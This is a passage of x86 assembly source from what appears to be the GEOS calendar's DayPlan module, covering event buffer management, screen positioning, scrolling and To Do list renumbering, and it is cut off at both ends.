re-stuff visible events! freeAll: mov cl, BufferUpdateFlags <1, 1, 1> ; write back, notify, delete call BufferAllWriteAndFree ; else free all the buffers mov bp, ds:[si] ; dereference the handle add bp, ds:[bp].DayPlan_offset ; access the instance data mov di, ds:[bp].DPI_eventTable ; get the table handle mov di, ds:[di] ; dereference the handle mov ds:[di].ETH_screenFirst, OFF_SCREEN_TOP mov ds:[di].ETH_screenLast, OFF_SCREEN_BOTTOM pop ax, bx ; remove bogus values clr ax ; start at the top of screen mov bx, size EventTableHeader ; start with the first event push ax, bx ; screen & EventTable offset jmp midStuffLoop ; start at boundary check ; Loop here, allocating & stuffing events as needed ; DS:BP => DayPlan instance data ; DS:DI => EventTable ; AX => Current screen offset ; BX => Current table offset stuffLoop: mov cx, ds:[bp].DPI_docOffset ; screen offset => CX add ax, ds:[di][bx].ETE_size ; update the current offset cmp ax, cx ; compare with our position jl next ; if less, go the next ETE add cx, ds:[bp].DPI_viewHeight ; bottom offset => CX add cx, ds:[di][bx].ETE_size ; comparing with TOP offset cmp ax, cx ; compare current with bottom jge removeEndBuffers ; if greater, just re-position ; Yes, on screen. Need to allocate a buffer (maybe) ; tst ds:[di][bx].ETE_handle ; is this already filled ?? jnz next ; if filled, go to next event push ax ; save the screen position call BufferAllocNoErr ; allocate a buffer call InsertAndStuffEvent ; position & stuff it pop ax ; restore the screen position ; Go to the next event next: mov bp, ds:[si] ; dereference the handle add bp, ds:[bp].DayPlan_offset ; access the instance data mov di, ds:[bp].DPI_eventTable ; get the event table handle mov di, ds:[di] ; dereference the handle add bx, size EventTableEntry ; go to next EventTableEntry midStuffLoop: ; AX & BX MUST BE VALID HERE cmp bx, ds:[di].ETH_last ; any more events ?? jb stuffLoop ; yes, continue ; Remove any buffers that my be present between the current position ; and the ETH_screenLast, iff there is at least one EventTableEntry ; w/o a buffer. ; removeEndBuffers: cmp ds:[di].ETH_screenFirst, OFF_SCREEN_TOP je position ; if no buffers, skip test sub bx, size EventTableEntry removeLoop: add bx, size EventTableEntry cmp bx, ds:[di].ETH_screenLast ; check end condition... jae position ; jump if done tst ds:[di][bx].ETE_handle ; buffer present ?? jnz removeLoop ; yes, so loop again ; Else must free all buffers between current & screenLast ; push si ; save the DayPlan handle mov bp, ds:[di].ETH_screenLast ; last offset for buffers mov ds:[di].ETH_screenLast, bx ; store the new screenLast sub ds:[di].ETH_screenLast, size EventTableEntry mov si, ds:[si] ; dereference the handle add si, ds:[si].DayPlan_offset ; access the instance data mov di, ds:[si].DPI_eventTable ; get the event table handle call DayPlanRemoveBuffers ; remove a range of buffers pop si ; restore the DayPlan handle ; Now position the events position: EC < call DayPlanVerifyEventTable ; ensure valid table > pop cx, dx ; screen & EventTable offset pop bp ; restore ScreenUpdateFlags mov ax, MSG_DP_POSITION_RANGE call ObjCallInstanceNoLock ; send the method mov cx, dx ; ETE offset back to CX ; If we're showing the To Do list, we need to ; renumber the To Do events ; if _TODO push si mov si, ds:[si] add si, ds:[si].DayPlan_offset test ds:[si].DPI_prefFlags, PF_TODO ; To Do mode ? pop si jz continue call RenumberToDoEvents continue: endif .leave ret DayPlanScreenUpdate endp if _TODO COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RenumberToDoEvents %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Renumbers the To Do list events CALLED BY: DayPlanScreenUpdate PASS: ds:*si = DayPlan object RETURN: nothing DESTROYED: ax,bx,cx,dx,di,si,bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: Get Event table number = 0 for each event in event table (events are in sequence) number++ send it the correct number (MSG_DE_TODO_NUMBER) REVISION HISTORY: Name Date Description ---- ---- ----------- sean 3/18/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RenumberToDoEvents proc near .enter ; Get event table ; mov di, ds:[si] add di, ds:[di].DayPlan_offset mov bp, ds:[di].DPI_eventTable mov di, ds:[bp] ; deref Event table mov bx, size EventTableHeader ; first ETE => bx mov dx, ds:[di].ETH_last ; end of table => dx clr cx ; 0 => cx numberLoop: cmp bx, dx ; are we at end of Event jge done ; Table ? inc cx ; number for this event mov si, ds:[di][bx].ETE_handle ; DayEvent handle => si mov ax, MSG_DE_TODO_NUMBER cmp si,0 ; is there a DayEvent ? jz next ; if not don't number it EC < Assert objectPtr, dssi, DayEventClass > call ObjCallInstanceNoLock ; give event new number next: add bx, size EventTableEntry mov di, ds:[bp] ; redereference EventTable jmp numberLoop done: .leave ret RenumberToDoEvents endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanRemoveBuffers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Free buffers from the EventTable over the specified range CALLED BY: INTERNAL PASS: DS:*DI = EventTable BX = Offset to first ETE to delete at BP = Offset to last ETE to delete RETURN: Nothing DESTROYED: TBD PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 9/17/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanRemoveBuffers proc near uses ax, si .enter ; Some set-up work ; mov si, ds:[di] ; dereference the table handle jmp middle ; Loop until all handles deleted ; deleteLoop: mov ax, ds:[si][bx].ETE_handle ; buffer handle => AX tst ax ; valid handle ?? jz next ; no, so go to next ETE call BufferFree ; else free the buffer mov si, ds:[di] ; re-dereference the table next: add bx, size EventTableEntry ; go to the next entry middle: cmp bx, bp jbe deleteLoop .leave ret DayPlanRemoveBuffers endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckScreenPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the first buffer whose position exceeds the passed screen offset CALLED BY: DayPlanScreenUpdate PASS: DS:DI = EventTable BX = Offset in the EventTable with which to begin AX = Initial screen offset CX = Limit screen offset RETURN: BX = Offset in the EventTable AX = End offset of this Event DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 5/4/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckScreenPosition proc near .enter jmp midLoop ; start at bounds check positionLoop: add ax, ds:[di][bx].ETE_size ; update the screen offset cmp ax, cx ; compare screen positions jge done add bx, size EventTableEntry ; go to the next entry midLoop: cmp bx, ds:[di].ETH_last ; end of table ?? jb positionLoop ; loop if smaller done: .leave ret CheckScreenPosition endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InsertAndStuffEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Insert event into visual tree, and stuff the event CALLED BY: DayPlanScreenInsert PASS: DS:*SI = DayPlan instance data AX = DayEvent buffer BX = Offset to new EventTableEntry RETURN: Nothing DESTROYED: DI, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/18/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InsertAndStuffEvent proc near class DayPlanClass uses bx, cx, dx .enter ; Some set up work ; mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access the instance data mov di, ds:[di].DPI_eventTable ; get the table handle mov di, ds:[di] ; dereference the handle mov ds:[di][bx].ETE_handle, ax ; store the handle mov cx, bx ; Update the header ; cmp bx, ds:[di].ETH_screenFirst ; compare new offset with first jae last ; jump if larger or equal mov ds:[di].ETH_screenFirst, bx last: cmp bx, ds:[di].ETH_screenLast ; compare new offset with last jbe continue ; jump if less or equal mov ds:[di].ETH_screenLast, bx ; Three case (True first, first in window, other) continue: mov bp, ICO_FIRST ; assume we're 1st visual child cmp bx, size EventTableHeader ; are we absolute first ?? je stuff ; yes, jump sub bx, size EventTableEntry ; else look at previous mov dx, ds:[di][bx].ETE_handle ; get the handle tst dx ; is it zero ?? je stuff ; jump - first in window mov bp, ICO_AFTER_REFERENCE ; else visually add after ; Now stuff and leave stuff: add di, cx ; go to correct ETE call StuffDayEvent ; stuff all the values in .leave ret InsertAndStuffEvent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanScreenScroll %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Respond to the scrolling work CALLED BY: UI (MSG_META_CONTENT_TRACK_SCROLLING) PASS: DS:*SI = DayPlan instance data DX = size NormalPositionArgs CX = Scrollbar handle SS:BP = TrackScrollingParams RETURN: Nothing DESTROYED: TBD PSEUDO CODE/STRATEGY: Only scrolls vertically (ignores any horizontal scrolling) KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/15/89 Initial version Don 4/4/90 Major changes (simplification) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanScreenScroll method DayPlanClass, MSG_META_CONTENT_TRACK_SCROLLING ; Now see if we need to scroll at all. If so, which direction?? ; call GenSetupTrackingArgs ; set up some extra values mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access my data mov dx, ss:[bp].TSP_newOrigin.PD_y.low ; new document offset => DX xchg dx, ds:[di].DPI_docOffset ; get new value; reset it also cmp ds:[di].DPI_docOffset, dx ; compare the offsets je ReturnCall ; if equal, do nothing ; Else store the new offset and request a screen update ; push cx, bp ; save the scrollbar handle mov dl, SUF_STEAL_FROM_TOP ; assume scrolling down jg continue ; new greater than old ?? mov dl, SUF_STEAL_FROM_BOTTOM ; actually scrolling up continue: mov cx, ds:[di].DPI_docOffset ; offset => CX mov bx, size EventTableHeader ; assume the worst test ds:[di].DPI_flags, DP_FILE_VALID jz update ; if no valid file, jump call DayPlanSearchByPosition ; else search for the position update: mov cx, bx ; EventTable offset => CX or dl, SUF_NO_REDRAW ; don't re-draw the DayPlan mov ax, MSG_DP_SCREEN_UPDATE ; update the screen call ObjCallInstanceNoLock ; send the method ; Make the return call ; pop cx, bp ; chunk handle to CX ReturnCall: call GenReturnTrackingArgs ; return arguments ret DayPlanScreenScroll endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanScrollIntoSubview %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Forces a scroll into subview to occur, delayed via the queue from a MyText object to enure the DP's height is correct. CALLED BY: MyTextShowSelection (MSG_DP_SCROLL_INTO_SUBVIEW) PASS: DS:SI = DayPlanClass instance data DS:DI = DayPlanClass specific instance data SS:BP = MakeRectVisibleParams DX = # of bytes on the stack ES = DGroup RETURN: Nothing DESTROYED: AX, BX, DI, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 6/28/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanScrollIntoSubview method DayPlanClass, MSG_DP_SCROLL_INTO_SUBVIEW mov ax, MSG_GEN_VIEW_MAKE_RECT_VISIBLE mov di, mask MF_STACK GOTO MessageToEventView DayPlanScrollIntoSubview endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StuffDayEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stuff a DayEvent with the database data CALLED BY: GLOBAL PASS: AX = DayEvent handle DX = Object to insert after if BP != ICO_LAST = or DO_NOT_INSERT_VALUE to not insert into a tree BP = InsertChildFlags (or none to not insert into tree) DS:DI = Event table entry RETURN: Nothing DESTROYED: DI PSEUDO CODE/STRATEGY: Must initialize the DayEvent Must position the DayEvent Insert the DayEvent KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/5/89 Initial version SS 3/19/95 To Do list changes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DO_NOT_INSERT_VALUE = 0xffff ; reference child value to not add ; DayEvent into the visual tree StuffDayEvent proc far class DayPlanClass uses ax, bx, cx, dx, si .enter ; Some set-up work ; push dx, bp ; save precede object, CCFlags EC < tst ax > EC < ERROR_Z DP_STUFF_DAY_EVENT_BAD_HANDLE > ; Initialize the event ; mov cx, ds:[di].ETE_group ; DBGroup => CX mov dx, ds:[di].ETE_item ; DBItem => DX mov si, ax ; DayEvent handle => SI tst cx ; no group number ?? je virgin test cx, REPEAT_MASK ; a repeat event ?? jne repeat ; Handle the regular case: ; mov ax, MSG_DE_INIT ; method to call jmp initialize ; initialize ; Handle the repeat case repeat: mov cx, di mov si, offset DPResource:DayPlanObject mov di, ds:[si] add di, ds:[di].DayPlan_offset mov di, ds:[di].DPI_eventTable sub cx, ds:[di] ; true offset to CX mov dx, di ; table handle to DX mov si, ax ; DayEvent handle to SI mov ax, MSG_DE_INIT_REPEAT jmp initialize ; Initialize the virgin event virgin: if _TODO ; a virgin "To Do" event? mov ax, MSG_DE_INIT_TODO push si, di ; if so, initialize it as mov si, offset DPResource:DayPlanObject mov di, ds:[si] ; a "To Do" event add di, ds:[di].DayPlan_offset test ds:[di].DPI_prefFlags, PF_TODO pop si, di jnz contVirgin endif mov ax, MSG_DE_INIT_VIRGIN ; assume not a header tst dx ; check the item # je contVirgin ; if zero, not a header event mov ax, MSG_DE_INIT_HEADER ; else we have a header contVirgin: mov bp, ds:[di].ETE_year mov dx, {word} ds:[di].ETE_day mov cx, {word} ds:[di].ETE_minute ; Now make the call initialize: call ObjCallInstanceNoLock ; method must be in AX ; Insert event into the visible tree ; mov cx, ds:[LMBH_handle] mov dx, si ; object to add (new) mov ax, cx pop bp ; CompChildFlags pop bx ; reference object mov si, offset DPResource:DayPlanObject cmp bx, DO_NOT_INSERT_VALUE ; should we not insert je done ; then don't insert call VisInsertChild done: .leave ret StuffDayEvent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanPositionRange %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Position a range (1 or more) or DayEvents CALLED BY: GLOBAL (MSG_DP_POSITION_RANGE) PASS: DS:*SI = DayPlanClass instance data DS:DI = DayPlanClass specific instance data DS:BX = Dereferenced handle ES = DGroup CX = Y position of first object DX = Offset in the EventTable to start at (an ETE) BP = ScreenUpdateFlags SUF_NO_REDRAW SUF_NO_INVALIDATE RETURN: Nothing DESTROYED: AX, BX, CX, SI, DI, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/15/89 Initial version Don 6/18/90 Somewhat optimized Don 9/4/90 Fixed off-by-one bug in window width %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; Must leave room for an icon to get drawn, else we ; may go outside of the graphics bounds!! if ERROR_CHECK DP_MAX_COORD = 2000h else DP_MAX_COORD = MAX_COORD - (ICON_Y_OFFSET - ICON_HEIGHT) endif DayPlanPositionRange method DayPlanClass, MSG_DP_POSITION_RANGE uses dx .enter ; Some set-up work ; mov bx, bp ; flag => BX sub sp, size PositionStruct mov bp, sp push cx, bx, si ; save the draw flag, handle mov ax, ds:[di].DPI_viewWidth ; set up the Position struct mov ss:[bp].PS_totalWidth, ax ; store right position mov ax, ds:[di].DPI_textHeight ; mov ss:[bp].PS_timeHeight, ax ; mov ss:[bp].PS_timeLeft, EVENT_TIME_OFFSET ; If we're showing events in narrow mode, we don't show icons. ; Therefore, EVENT_TIME_OFFSET = 0 (Responder only) ; ; Set up the loop ; mov ax, ds:[di].DPI_docOffset ; top of the screen add ax, ds:[di].DPI_viewHeight ; ending offset => AX mov di, ds:[di].DPI_eventTable ; access the event table mov bx, dx ; offset to begin at jmp midLoop ; start position loop ; We ran out of screen space. Must remove all of the buffers ; below the current one, and reset the current to be the bottom ; of the screen. ; outOfSpace: mov si, ds:[di] ; derference the EventTable mov ds:[si].ETH_screenLast, bx ; this buffer is now the last add bx, size EventTableEntry ; go to the next ETE mov bp, ds:[si].ETH_last ; last offset => BP sub bp, size EventTableEntry ; point to start of last ETE call DayPlanRemoveBuffers ; nuke buffers [BX, BP] jmp update ; continue update process ; Loop while we find DayEvents (proceed until end of the table) sizeLoop: mov dx, ds:[si][bx].ETE_size ; Event height => DX mov si, ds:[si][bx].ETE_handle ; DayEvent handle => SI tst si ; look for no handle jz next ; if none, go to next handle call PositionDayEvent ; else position the event jc outOfSpace ; position failed -> abort! next: add cx, dx ; update the screen offset add bx, size EventTableEntry ; go to the next entry midLoop: mov si, ds:[di] ; derference the EventTable cmp bx, ds:[si].ETH_last ; are we done yet ?? jb sizeLoop ; go through the entire table ; Reset my geometry update: EC < call DayPlanVerifyEventTable ; ensure valid table > pop si ; DayPlan chunk => SI ; Resize if necessary ; mov di, ds:[si] ; dereference the handle mov bp, di ; also => BP add di, ds:[di].DayPlan_offset ; access my DayPlan data add bp, ds:[bp].Vis_offset ; access my visual data and ds:[bp].VI_optFlags, not (mask VOF_GEO_UPDATE_PATH) mov cx, ds:[di].DPI_viewWidth ; new width => CX mov dx, ds:[di].DPI_docHeight ; new height => DX mov bx, ds:[bp].VI_bounds.R_bottom sub bx, ds:[bp].VI_bounds.R_top inc bx ; old height => BX cmp dx, bx ; compare old/new heights jne resize mov ax, ds:[bp].VI_bounds.R_right sub ax, ds:[bp].VI_bounds.R_left inc ax ; width => AX cmp cx, ax je updateOnly resize: ; No bound on document size for Responder. We have a hard ; limit on the number of events instead. ; cmp dx, DP_MAX_COORD ; check for large value jbe resizeNow ; OK, so jump mov dx, DP_MAX_COORD ; else put in the maximum value call DayPlanDisplayTooBigError ; display the error! resizeNow: or ds:[bp].VI_optFlags, (mask VOF_GEO_UPDATE_PATH) call VisSetSize ; set the document size ; Now update the children's geometry flags & possibly the image ; updateOnly: pop dx ; ScreenUpdateFlags => DL pop bx ; restore screen position mov dh, dl ; ScreenUpdateFlags => DH test dh, SUF_NO_INVALIDATE ; don't invalidate ?? jnz done mov cl, mask VOF_WINDOW_INVALID ; force children update mov dl, VUM_NOW call VisMarkInvalid test dh, SUF_NO_REDRAW ; don't redraw (one pending) jnz done ; if set, don't redraw ; Attempt to setup a clip region, to prevent unecessary redraws ; call VisQueryWindow ; get our window => DI tst di ; a valid window ?? jz done ; no, so do nothing ; We need a gstate, so let's VUP for it mov ax, MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock mov di, bp ; load up the bounds of what we want to invalidate clr ax ; left boundary mov bp, ds:[si] ; dereference the handle add bp, ds:[bp].Vis_offset ; access my visual data mov cx, ds:[bp].VI_bounds.R_right ; right boundary mov bp, ds:[si] add bp, ds:[bp].DayPlan_offset mov dx, ds:[bp].DPI_docOffset add dx, ds:[bp].DPI_viewHeight inc dx ; bottom boundary => DX call GrInvalRect call GrDestroyState ; get rid of VUP_CREATED GState done: add sp, size PositionStruct ; restore the stack .leave ret DayPlanPositionRange endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PositionDayEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Position the DayEvent CALLED BY: DayPlanPositionRange PASS: DS:*SI = DayEvent instance data SS:BP = PositionStruct ES = DGroup CX = Y document position DX = DayEvent height RETURN: Nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: Position the composite Position the event time Position the event text |----------Window width----------| |_______________________________ | |----------Event width----------|| |icon|-time-|--------text-------|| |___________|___________________|| KNOWN BUGS/SIDE EFFECTS/IDEAS: For DayEvent "headers", we do not want to see the time. Hence, we put the time TextObj off the screen. It is VERY important that the width of the event here EXACTLY match the width that was provided when the length of the event text was calculated. If these widths are not equal, the DayPlan code will die! REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/5/89 Initial version Don 12/13/89 Added the header check Don 9/4/90 Fixed off-by-one bug in positioning sean 3/19/95 Changes to position To Do list events correctly sean 8/9/95 Changes to correctly position end times %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; The event window is getting too long, so tell the user eventsTooLong: call DayPlanDisplayTooBigError mov dx, DP_MAX_COORD ; reset the bottom boundary jmp doneCheck ; we're done PositionDayEvent proc far class VisClass uses ax, bx, cx, dx, di, si .enter ; First position the composite ; mov di, ds:[si] ; dereference the handle mov bx, di add bx, ds:[bx].DayEvent_offset mov al, ds:[bx].DEI_stateFlags ; flags to AL mov ss:[bp].PS_flags, al ; store in the structure mov al, ds:[bx].DEI_timeHour ; time's hour => AL mov ss:[bp].PS_hour, al ; store in the structure add di, ds:[di].Vis_offset ; access visual bounds ; Set up the registers: ; AX => left ; BX => right ; CX => top ; DX => bottom add dx, cx ; bottom => DX ; For Responder, we don't have a bound on the document ; size. We have a bound on the number of events. ; EC < cmp cx, DP_MAX_COORD ; too big ?? > EC < ERROR_G DP_TEST_IN_BOUNDS_TOP_SHOULD_ALWAYS_FIT > cmp dx, DP_MAX_COORD ; bottom too big ?? ja eventsTooLong ; yes, so tell user clc ; else clear the carry doneCheck label near pushf ; save the carry flag push ds:[bx].DEI_textHandle push ds:[bx].DEI_timeHandle clr ax ; left => AX mov bx, ss:[bp].PS_totalWidth ; screen width => BX ; Position the composite first ; mov ds:[di].VI_bounds.R_left, ax mov ds:[di].VI_bounds.R_right, bx mov ds:[di].VI_bounds.R_top, cx mov ds:[di].VI_bounds.R_bottom, dx and ds:[di].VI_optFlags, not (mask VOF_GEOMETRY_INVALID or \ mask VOF_GEO_UPDATE_PATH) ; Now position the event time object ; pop si ; restore the time handle mov di, ds:[si] ; dereference the handle add di, ds:[di].Vis_offset ; access visual data push bx, dx ; save the bottom & right add ax, ss:[bp].PS_timeLeft ; adjust the left boundary mov dx, cx add dx, ss:[bp].PS_timeHeight ; new bottom => DX test ss:[bp].PS_flags, mask EIF_HEADER jnz finishPositionTime mov bx, ax add bx, es:[timeWidth] ; right boundary => BX ; For Responder, we need to see 1) if we're showing events in ; "narrow" mode, and 2) if this event has an end time. If ; we're in "wide" mode with an end time, then the time object ; must be made wider to accomodate the end time. ; finishPositionTime: if _TODO or ds:[di].VI_attrs, mask VA_DETECTABLE test ss:[bp].PS_flags, mask EIF_TODO jz continue ; if not todo it's detectable and ds:[di].VI_attrs, not (mask VA_DETECTABLE) mov bx, ax add bx, TODO_NUMBER_WIDTH continue: endif mov ds:[di].VI_bounds.R_left, ax mov ds:[di].VI_bounds.R_right, bx mov ds:[di].VI_bounds.R_top, cx mov ds:[di].VI_bounds.R_bottom, dx ; This "optimization" breaks the ability to right-justify the time ; text, so it was removed. I have no idea as to the performance ; gain it offers - but it no longer seems necessary. -Don 9/30/99 ; ;;; clr ds:[di].VTI_leftOffset ; one-line text optimization and ds:[di].VI_optFlags, not (mask VOF_GEOMETRY_INVALID or \ mask VOF_GEO_UPDATE_PATH) push bx push cx, bp ; save the bounds info mov ax, MSG_VIS_NOTIFY_GEOMETRY_VALID call ObjCallInstanceNoLock ; notify the text object pop cx, bp ; restore bounds (right=>left) pop ax inc ax ; move left over by one pixel pop bx, dx ; restore right & bottom ; Now position the event text object ; pop si ; restore the event handle mov di, ds:[si] ; dereference the handle add di, ds:[di].Vis_offset ; access visual data test es:[systemStatus], SF_PRINT_MONTH_EVENTS jz headerCheck ; if not printing, ignore clr ax ; else left bounds always 0 headerCheck: or ds:[di].VI_attrs, (mask VA_DRAWABLE or mask VA_DETECTABLE) test ss:[bp].PS_flags, mask EIF_HEADER jz normalText ; if not a header, jump and ds:[di].VI_attrs, not (mask VA_DRAWABLE or mask VA_DETECTABLE) normalText: mov ds:[di].VI_bounds.R_left, ax mov ds:[di].VI_bounds.R_right, bx mov ds:[di].VI_bounds.R_top, cx mov ds:[di].VI_bounds.R_bottom, dx and ds:[di].VI_optFlags, not (mask VOF_GEOMETRY_INVALID or \ mask VOF_GEO_UPDATE_PATH) mov ax, MSG_VIS_NOTIFY_GEOMETRY_VALID call ObjCallInstanceNoLock popf ; restore the carry flag .leave ret PositionDayEvent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanDisplayTooBigError %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Displays the "document too large error" box. CALLED BY: INTERNAL PASS: ES = DGroup RETURN: Carry = Set DESTROYED: Nothing PSEUDO CODE/STRATEGY: Will only display error iff the SF_DOC_TOO_BIG_ERROR flag is clear, and sets this flag after displaying the message. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 7/20/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanDisplayTooBigError proc near uses ax, bx, di, bp .enter test es:[systemStatus], SF_DOC_TOO_BIG_ERROR jnz done or es:[systemStatus], SF_DOC_TOO_BIG_ERROR call GeodeGetProcessHandle ; process handle => BX mov bp, CAL_ERROR_DOC_TOO_LARGE ; error to display mov ax, MSG_CALENDAR_DISPLAY_ERROR call ObjMessage_dayplan_send ; send the method done: stc ; bad size return flag .leave ret DayPlanDisplayTooBigError endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanChangePreferences %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Force the DayPlan to reload its information CALLED BY: DayPlan preference routines PASS: DS:DI = DayPlanClass specific instance data CX = Start day minute/hour DX = End day minute/hour BP = (High) interval between events BP = (Low) DayPlanInfoFlags (modified) RETURN: Nothing DESTROYED: AX, BX, DI, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 4/22/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanChangePreferences method DayPlanClass, MSG_DP_CHANGE_PREFERENCES ; Tell year object to "zoom" on the selected day(s) ; mov dh, ds:[di].DPI_prefFlags ; preference flags => DH mov dl, dh ; also to DL and ds:[di].DPI_prefFlags, not (PF_SINGLE or PF_RANGE or PF_GLOBAL) and dh, (DP_HEADERS or DP_TEMPLATE) ; only real flags and ds:[di].DPI_flags, not (DP_HEADERS or DP_TEMPLATE) or ds:[di].DPI_flags, dh ; store new flags mov dh, PF_SINGLE ; assume one day displayed cmp ds:[di].DPI_rangeLength, 1 ; range length, please je needToChange mov dh, PF_RANGE ; Check if we need to change the Event Window display ; needToChange: test dl, dh ; is the flag set ?? jz checkGlobal ; no - just check for globals or ds:[di].DPI_flags, DP_RELOAD or DP_DIRTY mov ax, MSG_DP_SET_RANGE call ObjCallInstanceNoLock ; Check if globals have changes: ; checkGlobal: test dl, PF_GLOBAL ; global changes ?? jz done ; none - so leave or es:[showFlags], mask SF_SHOW_TODAY_ON_RELAUNCH or \ mask SF_SHOW_NEW_DAY_ON_DATE_CHANGE test dl, PF_ALWAYS_TODAY jnz checkDateChange and es:[showFlags], not (mask SF_SHOW_TODAY_ON_RELAUNCH) checkDateChange: test dl, 